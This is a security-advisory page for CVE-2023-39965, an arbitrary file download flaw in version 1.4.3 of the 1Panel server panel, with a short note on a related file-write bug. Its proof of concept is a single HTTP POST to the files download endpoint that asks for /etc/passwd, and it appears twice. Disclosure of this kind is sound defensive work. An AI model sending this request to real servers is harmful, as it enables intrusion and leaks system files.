Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-85cf-gj29-f555: 1Panel Arbitrary File Download vulnerability

Summary

Any file downloading vulnerability exists in 1Panel backend.

Details

Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access. image

PoC

payload:

POST /api/v1/files/download/bypath HTTP/1.1 Host: ip Content-Type: application/json

{"path":"/etc/passwd"}

f77959349e96543436eea18283fa75c

Impact

Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.

ghsa
#vulnerability#js#git#auth

Package

gomod github.com/1Panel-dev/1Panel (Go)

Affected versions

= 1.4.3

Patched versions

1.5.0

Description

Summary

Any file downloading vulnerability exists in 1Panel backend.

Details

Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.

PoC

payload:

POST /api/v1/files/download/bypath HTTP/1.1
Host: ip
Content-Type: application/json

{"path":"/etc/passwd"}

Impact

Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.

References

  • GHSA-85cf-gj29-f555
  • https://nvd.nist.gov/vuln/detail/CVE-2023-39965
  • https://github.com/1Panel-dev/1Panel/releases/tag/v1.5.0

wanghe-fit2cloud published to 1Panel-dev/1Panel

Aug 10, 2023

Published to the GitHub Advisory Database

Aug 10, 2023

Reviewed

Aug 10, 2023

Last updated

Aug 10, 2023

Related news

CVE-2023-39966: Release v1.5.0 · 1Panel-dev/1Panel

1Panel is an open source Linux server operation and maintenance management panel. In version 1.4.3, an arbitrary file write vulnerability could lead to direct control of the server. In the `api/v1/file.go` file, there is a function called `SaveContentthat,It `recieves JSON data sent by users in the form of a POST request. And the lack of parameter filtering allows for arbitrary file write operations. Version 1.5.0 contains a patch for this issue.